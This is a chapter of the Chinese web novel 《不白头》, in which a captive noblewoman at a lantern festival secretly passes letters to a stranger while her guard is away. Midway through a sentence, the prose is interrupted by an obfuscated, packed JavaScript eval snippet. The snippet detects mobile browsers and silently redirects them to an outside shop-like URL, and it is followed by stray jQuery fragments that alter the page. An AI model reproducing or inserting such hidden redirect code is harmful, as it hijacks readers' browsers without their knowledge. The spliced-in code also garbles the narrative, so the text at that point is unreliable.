20. 第 20 章
作品:《不白头》 纱飞斗笠两侧,拉出一道清晰的视角。
崔雪断从始至终操着花芜尽手后的缰绳,马蹄驰骋,扬起灰尘。
月至头顶,星悬于野。
花芜尽不知这附近最近的城镇在哪,渐渐驶离小道后隐约几盏花灯的光亮擦过肩头,崔雪断放缓了速度。
“吁。”
他还是率先下马,而后面无表情地朝花芜尽张开怀抱。
男人眉宇常年不散的杀气阴沉,加之面容冷峻,眉上断开一线,让人一见到他就渗出惧意。可是现在,他站在马下伸开双臂抱她下马,花芜尽竟从他脸上找到春水般的柔和。
马很高,花芜尽没有多想,只好把身子低伏下去,等触及崔雪断的肩膀之时再投进他的怀中。
温香软玉一入怀,崔雪断就像是抱住了一团香香的棉花。连胸前空荡荡的地方都被填得紧紧的,他面颊微微发烫,浑身燥热起来。
不过还没抱多久他就必须得把花芜尽放下来,方才的温软就像是一场虚幻的梦一般。肩头胸口的温度转瞬即逝,残留着不舍。
“走吧。”
花芜尽的声音把他拉回现实。
“噢。”
崔雪断神色怪异,他伸出手,隔袖握住花芜尽的手腕,再自作主张整理了一下她的斗笠,把面纱牢牢实实地遮住她的脸。
面纱下,花芜尽心底复杂,崔雪断为人谨慎,她该怎么甩脱他?
一路两人心思各异。
这里看起来是个县,虽不及城那样大,可比起金阁那鬼地方来说热闹极了,总算多了人味。
走深在街头中央,灯火辉煌,年轻男女们结伴而行,说说笑笑。花灯结满漆黑的天穹,摩肩擦踵鱼龙舞。
花芜尽全心想的都是接下来该怎么做,崔雪断想的却是他们如今在别人眼中会不会也是那种关系。
男情女爱,对于崔雪断来说既陌生,又恐怖。他连念及都不敢想。
这里人太多了,挤在人群中密不透风的,崔雪断不得不把花芜尽牵紧。人越多,他的心中就越漫起慌乱。生怕花芜尽走丢了。
可同时他又怕掐痛她,于是崔雪断手掌微松,慢慢往下,改为握住她的手。
崔雪断的心跳几乎也是在握住花芜尽手的那刻停止了。
随后心跳如擂。
他不敢去看花芜尽的神色,起初牵着她,再历经惊心动魄的几秒后,崔雪断发现她没有反抗,暗自松了一口气。
可是,这正常吗?
崔雪断害怕手牵着的人根本不是花芜尽,他患得患失,某时甚至混淆了到底有没有花芜尽这个人的现实。
他这么想,把头偏过去看她一眼。
华灯初上,纱内朦胧绝色多情。不是花芜尽是谁?如果她摘下斗笠,应当会很美。
花芜尽在被崔雪断牵住手的那刻身躯一抖,他的手存在感太强,一牵着她就像是侵略进了属于她最安全的领地一般。
花芜尽浑身不舒服,但她只能忍着。
说不定服软,他就会献出让她投递消息的机会。
目前先摘下这顶斗笠,才能进行下一步。
崔雪断起初握着她的手腕很用力,自从改成牵手之后倒是放松了很多。他不敢牵得很用力,手掌只是微微包裹,她稍微一挣脱就可以甩开他。
但花芜尽不打算从这方面逃走,就算她挣脱开了他的手,根据前车之鉴,她才跑出几步就会被他抓回来。
花芜尽下定决心,回握紧崔雪断的手。
她没料到,只是这样一个回应的小动作能把崔雪断吓得停下来。
花芜尽从斗笠的长纱外看着他,只听崔雪断小声地问她:“怎么了?”
她主动握紧他的手,崔雪断很意外。
他萌生出一种错误的期许,暗暗扎根在心头。
花芜尽提起那骄纵的语气,“我化了那么久的妆,你给我戴上斗笠全遮完了,岂不是坏了兴致?”
崔雪断觎着她的动静,“可……万一有人认识你。”
花芜尽装模作样四周看了一圈,“我生在京城,长在京城,才不会来这么个穷苦偏地。不会有人认识我的。”
身前之人沉思良久。
“好吧。”
崔雪断最后妥协,居然很好骗地真的给她摘下了斗笠。
花芜尽眼前刹那清晰,灯影火光映烁,数盏各式各样的花灯散满小河,蜿蜒无尽流向黑暗。
花芜尽的眼眸被灯火点亮,果真如崔雪断所想,花芜尽身在明亮的地方雪肤都被染上桃红,绮丽清殊,加之覆了红妆,美极了。依崔雪断想,是天仙下凡也不为过。
她的手自摘下斗笠之后就松开了,只能凭崔雪断仅剩下的小心翼翼的一丝力固在他的手中。
见她在看小河上漂流的五彩斑斓的荷花花灯,崔雪断才恍然注意到身边所有人手上都提着花灯,还有很多人买了河灯去放。
“你想要何等样式的灯?”
崔雪断把花芜尽牵到一个灯铺前,询问她。
“姑娘看一看吧,咱家的灯可是云阳县最好的灯了。”
云阳县……
此地原来叫云阳县。
那么金阁应当就在三十里之内了。
花芜尽对上老板那双憧憬的眼睛,就算不想要崔雪断给她买灯,也被这个眼神动容了。
可买了灯,岂不是就要和崔雪断一起放灯了?
花芜尽不想和崔雪断一起放灯。
由于和老板对视了一眼,花芜尽还是走个过场地在铺子上用视线简单扫了下。
她本无意真的选灯,可眼神不自觉被一盏盛大的金色莲盏吸引。
她只是多在上面看了会儿,崔雪断就心领神会地掏钱了。
“就要它。”
“真的要放?”
花芜尽看着买下灯的崔雪断,不确定地问。
崔雪断拉着花芜尽走到小河边,眸映星火般散落在河面的灯盏。
他心中有寥落。
花芜尽问他,潜意识里还是觉得他们之间隔着不可亲近的天堑吧。尽管崔雪断全都心知肚明。一切期望不过奢想罢了。
“放。配你今日的衣裳。”
崔雪断找了个人少的地方,把花芜尽拉下来蹲在河畔。
他松开她的手,把莲盏放在她的手心中捧着。
随后崔雪断吹亮了火折子,点亮烛线做的荷花花蕊。
甫一点亮灯盏,花芜尽的脸就亮了起来,在这黑夜,莹润白皙的面颊如圆月澄静圣洁。
花芜尽的注意力全被手心上的这一盏灯吸引过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117902|192618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,没有注意到面前男人炽热盯紧她的眼神。
她缓缓将灯盏放至河面上,让它小幅度地跟着水流和风漂走。
烛灯亦可祭奠亡人。
花芜尽默默希望,这盏灯能抚平花府未平息的冤魂,带给地府下的他们一星报仇雪恨的希望。
河面光亮犹如升天的火星。
喉头涌上钝涩,花芜尽如今已经学会压制自己的眼泪了。往事不可追,现在唯有向前看。
“崔雪断。”
她嘴唇翕动。
“嗯?”崔雪断听到她细弱的一声呼唤,全神贯注仔细听她说话。
他喜欢听她叫他名字。
“再去买六盏吧。”
崔雪断一愣,随后站起身想要牵起花芜尽的手,但是被她提前躲开了。他的手落空了,只好垂下去。
只见花芜尽抬了点眉眼,握着自己的腕子不想让他碰,还无辜地说:“你去买吧,我腿麻了,在这里等你。”
“不可。”
崔雪断语气有些许冷意。
花芜尽撇下嘴巴,看穿他的顾虑,可怜巴巴地解释:“卖灯的就在对面,走几步就到了。我就算是跑,也不可能游过河吧。还不是会被你抓回来……”
崔雪断沉默了,花芜尽说得不无道理。
她梨花带雨,崔雪断终究还是心软,亦是不想败坏她的兴致,妥协了。
“好吧。你就在此等我,不准乱跑。”
花芜尽喜上眉梢,等崔雪断真的去买灯了,她从衣裳里掏出两封信。还有出门前崔雪断给的她一些碎银。
该说他是聪明还是傻呢。
眼见着计划快要得逞,花芜尽就掩饰不了内心的激动。
崔雪断找的地方人比较少,她先是在四周环顾一圈,锁定目标之后就直奔他们而去。
是一对正在相会的年轻男女。
花芜尽脸颊桃红,她叫住二人其中的女子。
“这位姑娘请留步。”
绿衫女子转身见到一个漂亮的年轻姑娘,眸中微讶,“姑娘叫我有何事?”
花芜尽说出提前准备好的措辞,神态柔弱,因为紧张绞着双手,请求道:“这位姐姐,我想寄封信到京城大理寺和木州的明珠酒楼。但我居于乡下,待会就要回去了,能否麻烦你帮我寄出这两封信?”
绿衫女子观花芜尽的面相,相信她是个善良之人。何况人家都这么请求了,她就一口答应了,“好。把信交予我吧。”
只是看花芜尽的装束和气质容貌,倒不像是出自乡下之人。
花芜尽笑得明媚,感激涕零地把信和碎银交给绿衫女子的手中,“多谢姑娘,这些银子就当谢姑娘的。”
绿衫女子看清手上的碎银,连忙回拒道:“不可,哪里要的了这么多……”
花芜尽怕她不要,自己先跑远了然后向她招招手,“就这么说定啦。”
花芜尽快速跑回去,继续蹲在和崔雪断放灯灯地方。
同时心底忐忑刚刚自己跑过去和绿衫姑娘说话,不知道被崔雪断看见没。
她回头想看看崔雪断买灯买完了没,正好撞入他抱着满怀的河灯朝河这边的她走过来的场景。
男人肩宽腰窄,黑衣裹紧他的身躯。他眸光沉凝,和她对视在半空中。

